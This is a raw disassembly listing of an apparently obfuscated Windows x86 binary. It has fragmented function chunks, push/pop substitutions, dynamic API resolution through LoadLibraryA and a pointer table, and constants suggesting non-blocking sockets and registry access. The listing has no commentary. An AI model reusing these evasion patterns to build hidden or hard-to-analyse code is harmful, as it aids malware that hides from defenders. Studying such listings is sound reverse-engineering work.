; FUNCTION CHUNK AT 009B2054 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B2068 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B2368 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B23C0 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B23EF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B245C SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B2584 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B2790 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B2C88 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B2D8C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B2DB8 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B3078 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009B31F4 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B37B4 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B38FC SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B3A18 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B3E00 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B3E44 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B3E90 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B40C8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B41BC SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B426C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B480C SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B4898 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B4B18 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B4BD0 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B4C0C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B4D3C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B505C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B50A0 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B51EC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B531C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B5594 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B55F4 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009B574C SIZE 00000066 BYTES
; FUNCTION CHUNK AT 009B5B08 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5EAC SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B60C0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B633C SIZE 00000012 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B93DB
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		sub	esi, esi
		mov	[ebp-18h], esp
		mov	[ebp-20h], esi
		mov	[ebp-4], esi
		push	off_9B98E6
		push	LoadLibraryA
		pop	ebx
		call	ebx
		mov	[ebp-1Ch], eax
		cmp	eax, esi
		jz	loc_9B23EF
		jmp	off_9B9429
sub_9B0930	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0984:				; CODE XREF: sub_9B0930+4C8Fj
		push	off_9B97E5
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		mov	[edx+5Ch], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax+10h]
		push	dword ptr [eax+5Ch]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AC588
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B6078


loc_9B09B4:				; CODE XREF: sub_9B6078-B0A4j
					; DATA XREF: .text:off_9BA85Do
		sub	eax, edx
		add	eax, ebx
		push	eax
		push	2
		call	sub_9AD3EC


loc_9B09C0:				; CODE XREF: sub_9B6078-A728j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B6078
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF5E4


loc_9B09DC:				; CODE XREF: sub_9AF5E4-1E7Ej
		jnz	loc_9AD761
		jmp	off_9BA7F6
; END OF FUNCTION CHUNK	FOR sub_9AF5E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B35A0


loc_9B09E8:				; CODE XREF: sub_9B35A0+25j
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	edi, ecx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA623
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], 0
		lea	esi, [edi+edi*2]
		shl	esi, 4
		mov	eax, dword_9BBF9C[esi]
		or	eax, eax
		jz	loc_9B10EA
		jmp	off_9B8DF3
; END OF FUNCTION CHUNK	FOR sub_9B35A0
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9B0A27:				; CODE XREF: sub_9B1B20-1DAj
					; sub_9B1B20+93j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+1Ch]
		push	[ebp+var_330]
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0A64:				; CODE XREF: sub_9B0930+B06j
					; DATA XREF: .text:off_9B9F62o
		push	off_9B933A
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+38h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	dword ptr [eax+38h]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B4C0C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B0A98:				; CODE XREF: sub_9B4FD0-8478j
		mov	edx, [ebp+24h]
		cmp	dword_9BBF8C[eax], edx
		jnz	loc_9AB8C4
		jmp	off_9B989F
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B5480


loc_9B0AB0:				; CODE XREF: sub_9B5480+39j
					; DATA XREF: .text:off_9B88C8o
		push	dword ptr [esi]
		pop	eax
		test	eax, eax
		jz	loc_9B335B
		jmp	loc_9AE9A0
; END OF FUNCTION CHUNK	FOR sub_9B5480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9B0AC0:				; CODE XREF: sub_9B4610+50j
					; DATA XREF: .text:off_9BB048o
		lea	esi, [edi+edi*2]
		shl	esi, 4
		mov	eax, dword_9BBF74[esi]
		or	eax, eax
		jz	loc_9AF22F
		jmp	off_9B956C
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9B0ADC:				; CODE XREF: sub_9B562C+5Ej
		mov	eax, off_9BA9E4


loc_9B0AE1:				; CODE XREF: sub_9B562C+58j
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	esi
		push	105h
		lea	ecx, [ebp+var_124]
		push	ecx
		push	eax
		call	dword ptr [esi+8Ch]
		push	eax
		call	dword ptr [esi+88h]
		and	eax, eax
		jz	loc_9AECDF
		jmp	off_9BA469
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B18F8


loc_9B0B14:				; CODE XREF: sub_9B18F8+1Fj
					; DATA XREF: .text:off_9B970Fo
		mov	eax, [esp+8+arg_0]
		push	eax
		push	4
		pop	edi
		call	sub_9AC6A0
		push	off_9B9EF1
		call	sub_9AC6A0
		add	esp, 8
		pop	edi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B18F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9B0B34:				; CODE XREF: sub_9AD11C+846Cj
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		call	dword ptr [eax+4Ch]
		cmp	eax, 2733h
		jz	loc_9AB910
		jmp	loc_9B33D0
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B0B54:				; CODE XREF: sub_9AF25C+60F0j
					; DATA XREF: .text:off_9BADA0o
		cmp	edi, ebx
		jnz	loc_9AB8D1
		jmp	off_9B9A1D
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0B64:				; CODE XREF: sub_9B0930+1A61j
					; DATA XREF: .text:off_9B9624o
		push	off_9BAFBF
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+14h]
		mov	[ecx+0Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+14h]
		pop	edx
		mov	ecx, [edx+0Ch]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B927C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9B0B98:				; CODE XREF: sub_9ABF08+6CF1j
					; DATA XREF: .text:off_9BA0C1o
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	esi
		push	edi
		push	esi
		push	dword ptr [ebp+8]
		pop	edx
		push	edx
		push	edi
		push	edi
		call	dword ptr [ecx+14h]
		mov	[esi+4], eax
		cmp	eax, edi
		jz	loc_9AF200
		jmp	off_9B9A50
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B0BC0:				; CODE XREF: sub_9ADAC4-73Fj
					; DATA XREF: .text:off_9BAED5o
		mov	edx, dword_9BCB74
		mov	eax, [edx+10h]
		push	ebx
		call	dword ptr [eax+38h]
		or	ebx, 0FFFFFFFFh
		mov	[ebp-44h], ebx


loc_9B0BD3:				; CODE XREF: sub_9ADAC4-2BE1j
					; sub_9ADAC4-745j ...
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	1388h
		call	dword ptr [edx+4]
		jmp	loc_9B42D8
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B0BE8:				; CODE XREF: sub_9AF030+2345j
					; DATA XREF: .text:off_9B9FDBo
		add	dword_9BBFA0[esi], ebx
		call	sub_9B227C
		mov	dword_9BBF98[esi], eax
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jnz	loc_9B1518
		jmp	off_9BA677
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0C0C:				; CODE XREF: sub_9B0930-2FBCj
					; DATA XREF: .text:off_9B88D0o
		push	dword ptr [eax+0Ch]
		pop	edx
		cmp	dword ptr [edx], 0
		jz	loc_9B23EF
		jmp	off_9BAD59
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B0C20	proc near		; CODE XREF: sub_9B0CC8+1p
					; sub_9B1134+34p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009B56EB SIZE 0000001A BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8CDA
		push	offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		push	[ebp+arg_0]
		pop	eax
		pusha
		push	eax
		call	dword ptr [eax]
		pop	eax
		popa
		jmp	loc_9B56EB
sub_9B0C20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp+10h]
		pop	eax
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		jmp	loc_9B0628
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9B0C88:				; CODE XREF: sub_9B3150+2DE7j
					; DATA XREF: .text:off_9BA093o
		rep stosb
		jmp	loc_9AEFA3
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B0C90:				; CODE XREF: sub_9B1F68+22EEj
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		call	dword ptr [eax+30h]
		sub	eax, [edi+ebp-250h]
		push	dword ptr [ebp-38h]
		pop	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFFC18h
		add	ecx, 1388h
		cmp	eax, ecx
		jbe	loc_9AFB74
		jmp	off_9B89C2
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B0CC8	proc near		; CODE XREF: sub_9AFC28+CC8j
		push	ebx
		call	sub_9B0C20
		jmp	loc_9ADF17
sub_9B0CC8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B0CD4:				; CODE XREF: sub_9B1D80-3F9j
		test	byte ptr [ebp-2024h], 1
		jnz	loc_9B3EC4
		jmp	off_9BACE8
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0CE8:				; CODE XREF: sub_9B0930+3F08j
					; DATA XREF: .text:off_9BAB16o
		push	off_9BAD70
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+54h], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax]
		mov	ecx, [eax+54h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9ABCB8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B0D18:				; CODE XREF: sub_9B649C-1369j
		push	100h
		pop	edx


loc_9B0D1E:				; CODE XREF: sub_9B649C-7AB0j
		mov	[ebp+var_24], edx
		cmp	edx, 4000h
		ja	loc_9AE5F0
		jmp	off_9BA097
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B0D34	proc near		; CODE XREF: sub_9B63D8-4B67p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009AF8A8 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B19BC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 009B2D84 SIZE 00000005 BYTES

		push	eax
		push	esi
		mov	eax, 8
		mov	dword ptr [edi], 0
		call	sub_9AC32C
		test	al, 3
		jnz	nullsub_10
		jmp	loc_9AF8A8
sub_9B0D34	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B0D54:				; CODE XREF: sub_9B4FD0-1EC7j
		cmp	eax, 0FFFFFFFFh
		jnz	loc_9ABB60
		jmp	sub_9ABB50
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B0D64:				; CODE XREF: sub_9B4950-5A0Aj
					; sub_9B4950-19Aj
					; DATA XREF: ...
		cmp	dword_9BEC20[edi], ebx
		jnz	loc_9B5C2E
		jmp	off_9B9F17
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B0D78:				; CODE XREF: sub_9B3864-5020j
					; sub_9B3864-405Aj
					; DATA XREF: ...
		push	[ebp+var_202C]
		pop	edx
		test	edx, edx
		js	loc_9AF480
		jmp	off_9B96E8
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB040


loc_9B0D90:				; CODE XREF: sub_9AB040+15ABj
		mov	ecx, dword_9BEC30[eax]
		mov	edx, dword_9BEC2C[eax]
		and	edx, ecx
		and	ecx, esi
		cmp	edx, ecx
		jz	loc_9B0688
		jmp	off_9BA87C
; END OF FUNCTION CHUNK	FOR sub_9AB040
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9B0DB0:				; CODE XREF: sub_9B1B20-5EA2j
					; DATA XREF: .text:off_9BA408o
		push	edx
		push	80000001h
		call	dword ptr [eax+20h]
		test	eax, eax
		jnz	loc_9AC1BE
		jmp	off_9B96D4
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9B0DC8:				; CODE XREF: sub_9B4CF4-277Fj
					; DATA XREF: .text:off_9B9EEDo
		mov	edi, ebx
		dec	edi


loc_9B0DCB:				; CODE XREF: sub_9B4CF4-3F23j
		mov	al, [edi+1]
		inc	edi
		and	al, al
		jnz	short loc_9B0DCB
		jmp	loc_9AFEC0
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B0DD8:				; CODE XREF: sub_9B1F68+241Aj
		call	sub_9B31A8
		inc	edi
		jmp	loc_9AE84E
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9B0DE4:				; CODE XREF: sub_9AFC28-A64j
		cmp	eax, 0FFFFFFFFh
		jz	loc_9ADF17
		jmp	loc_9AEB00
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3E78


loc_9B0DF4:				; CODE XREF: sub_9B3E78+Cj
		sub	eax, edx
		add	eax, ebx
		push	eax
		push	1
		call	sub_9AD3EC
; END OF FUNCTION CHUNK	FOR sub_9B3E78
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9B0E00:				; CODE XREF: sub_9B4CF4-4E28j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	ebx
		pop	eax
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B0E1C:				; CODE XREF: sub_9B1F68+71j
		mov	dword ptr [ebp-40h], 2
		jmp	loc_9ACD83
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0E28:				; CODE XREF: sub_9B0930+49F4j
		push	off_9B933E
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx]
		mov	[ecx+78h], eax
		push	dword_9BCB74
		pop	edx
		jmp	loc_9B1B0C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B0E4C:				; CODE XREF: sub_9B4FD0+512j
					; DATA XREF: .text:off_9B8C64o
		push	eax
		pop	ebx
		mov	[ebp-228h], ebx


loc_9B0E54:				; CODE XREF: sub_9B4FD0-3F79j
		cmp	ebx, 0FFFFFFFFh
		jnz	loc_9AAEF0
		jmp	loc_9AD318
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B0E64:				; CODE XREF: sub_9ADDA4+29Bj
		mov	eax, edi
		cdq
		push	edx
		push	eax
		push	ebx
		push	esi
		call	__alldiv
		mov	[ebp-28h], eax
		mov	[ebp-24h], edx
		jmp	loc_9AE473
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B0E7C	proc near		; CODE XREF: sub_9B2C70-5606p
					; sub_9B1F68-3EFFp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_9BCB74
		mov	ecx, [eax+10h]
		mov	eax, [esp+arg_0]
		lea	edx, [esp+arg_4]
		push	edx
		push	8004667Eh
		push	eax
		call	dword ptr [ecx+54h]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFFDh
		add	eax, 4
		retn	8
sub_9B0E7C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B0EA4:				; CODE XREF: sub_9B04A8+4CFBj
					; DATA XREF: .text:off_9B9EF5o
		push	edi
		mov	eax, [edi+24h]
		push	eax
		mov	ecx, [edi+20h]
		push	ecx
		mov	eax, 0Ah
		call	sub_9B3F28
		mov	ebx, eax
		mov	[ebp-404Ch], ebx
		test	bl, 4
		jnz	loc_9ACA28
		jmp	off_9B8D89
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B0ED0:				; CODE XREF: sub_9B649C+3Fj
					; DATA XREF: .text:off_9B8A06o
		cmp	edi, 2000h
		ja	loc_9ACCD8
		jmp	loc_9AC3B0
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0EE4:				; CODE XREF: sub_9B0930+1B5Aj
		push	off_9B8E81
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		mov	[edx+1Ch], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax+10h]
		mov	ecx, [eax+1Ch]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BACE0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9B0F18:				; CODE XREF: sub_9AE860+623Fj
		push	edx
		pop	ecx
		shr	ecx, 2
		rep movsd
		push	edx
		pop	ecx
		and	ecx, 3
		rep movsb
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9B0F40:				; CODE XREF: sub_9B27D8-2626j
		mov	dx, word_9B9468
		mov	[edi], dx
		pop	edi
		mov	eax, ebx
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B0F50:				; CODE XREF: sub_9AC250+91C3j
		shr	edx, 5
		push	edx
		pop	ecx
		and	ecx, 1Fh
		push	1
		pop	ebx
		shl	ebx, cl
		shr	edx, 5
		test	dword_9BA4E8[edx*4], ebx
		jnz	loc_9B536C
		jmp	off_9BAD48
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B0F74:				; CODE XREF: sub_9ACEE8+64E2j
		mov	edi, 1
		mov	[ebp-0C4h], edi


loc_9B0F7F:				; CODE XREF: sub_9ACEE8+64DCj
		mov	dword_9BF120[esi*4], edi
		call	sub_9ADDA4
		mov	[ebp-0E8h], eax
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		push	eax
		push	off_9BACEC
		call	dword ptr [ecx+34h]


loc_9B0FA3:				; CODE XREF: sub_9ACEE8+8AABj
		mov	ecx, [ebp-0C8h]
		push	dword ptr [ebp-0D0h]
		pop	edx
		call	sub_9AC6DC
		jmp	loc_9ACF55
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9B0FBC:				; CODE XREF: sub_9AE860-2647j
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	[ebp+arg_0], eax
		jmp	loc_9AC207
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B0FD0	proc near		; CODE XREF: sub_9B1D80-3F49p

; FUNCTION CHUNK AT 009AFCB4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B1C48 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B27EF SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B5D24 SIZE 0000003E BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B9024
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	ecx
		pop	esi
		mov	[ebp-18h], esp
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9B9632
		call	dword ptr [ecx+18h]
		xor	eax, eax
		push	7FFh
		pop	ecx
		mov	[ebp-4], eax
		mov	[ebp-1Ch], ecx


loc_9B1018:				; CODE XREF: sub_9B0FD0-131Bj
		mov	[ebp-20h], eax
		cmp	eax, 800h
		jge	loc_9B5D29
		jmp	off_9B89C6
sub_9B0FD0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9B102C:				; CODE XREF: sub_9B3984-7BB7j
		inc	esi
		jmp	loc_9B39EA
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B1038:				; CODE XREF: sub_9AB1A0+7782j
		mov	eax, edi
		call	sub_9B327C
		or	eax, eax
		jz	loc_9AD304
		jmp	loc_9B2248
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B104C:				; CODE XREF: sub_9B4FD0+57j
		xor	eax, eax


loc_9B104E:				; CODE XREF: sub_9B4FD0-83B7j
		mov	[ebp-22Ch], eax
		cmp	eax, 40h
		jnb	loc_9B0E54
		jmp	loc_9B54D0
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B1064:				; CODE XREF: sub_9B2E04-626Bj
					; DATA XREF: .text:off_9B8C1Co
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	ecx
		push	edi
		call	dword ptr [ecx+38h]
		or	edi, 0FFFFFFFFh
		mov	[ebp+var_4040],	edi


loc_9B107C:				; CODE XREF: sub_9B2E04-6271j
					; sub_9B2E04+2928j ...
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	1388h
		call	dword ptr [eax+4]
		mov	esi, [ebp+var_4044]
		jmp	loc_9B240C
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACA48


loc_9B109C:				; CODE XREF: sub_9ACA48+11F6j
		push	dword ptr [ebp-4058h]
		pop	edx
		push	edx
		sub	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9B5E0C
		jmp	off_9B9F13
; END OF FUNCTION CHUNK	FOR sub_9ACA48
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]


